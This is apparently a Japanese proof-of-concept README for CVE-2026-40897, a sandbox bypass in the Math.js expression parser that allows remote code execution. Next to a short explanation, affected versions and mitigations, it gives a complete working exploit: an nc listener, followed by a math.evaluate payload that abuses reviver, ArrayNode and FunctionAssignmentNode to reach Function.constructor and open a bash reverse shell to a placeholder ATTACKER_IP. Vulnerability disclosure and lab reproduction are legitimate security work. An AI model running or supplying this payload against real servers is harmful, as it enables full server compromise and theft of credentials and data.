CVE-2026-40897 Math.js 式パーサーにおけるリモートコード実行

★ CVE-2026-40897 Math.js におけるリモートコード実行のPoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898

概要

CVE-2026-40897 は、Math.js の式パーサーにおける サンドボックスバイパスによるリモートコード実行 の脆弱性です。 isSafeProperty フィルターはユーザー式からのプロパティアクセスのみをチェックし、内部コードパスからのアクセスはチェックしません。ArrayNode の内部配列を toJSON() 経由で漏洩させ、その .map を上書きすることで、攻撃者は内部コードに Function.constructor へアクセスさせ、任意の JavaScript を実行させることができます。

影響を受けるバージョン

カテゴリ	バージョン
脆弱	Math.js 13.1.1 ≤ version ≤ 15.1.1
修正済み	15.2.0

影響

• 任意の JavaScript コード実行 (RCE)
• ホストファイルシステムへのアクセス
• リバースシェル接続によるサーバー全体の侵害
• バックエンドの認証情報および機密データの窃取

環境

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。

ステップ 1. リバースシェルリスナーを起動する

nc -lvnp 4444

ステップ 2. 悪意のあるペイロードを送信する

以下の式を math.evaluate に送信します (例: アプリケーションの計算入力欄を通じて)。

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

ステップ 3. 攻撃者側でシェルアクセスを確認する

ターゲットサーバーが攻撃者のリスナーに接続し、対話型の bash シェルを取得します。

緩和策

• Math.js を修正済みバージョンにアップグレードする
• 信頼できないユーザー入力を math.evaluate() に直接渡すことを避ける
• 内部関数/クラス (reviver、FunctionAssignmentNode、ArrayNode) の式パーサー経由での露出を制限する

分析

• KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
• EN: https://www.skshieldus.com/en/report?tab=eqst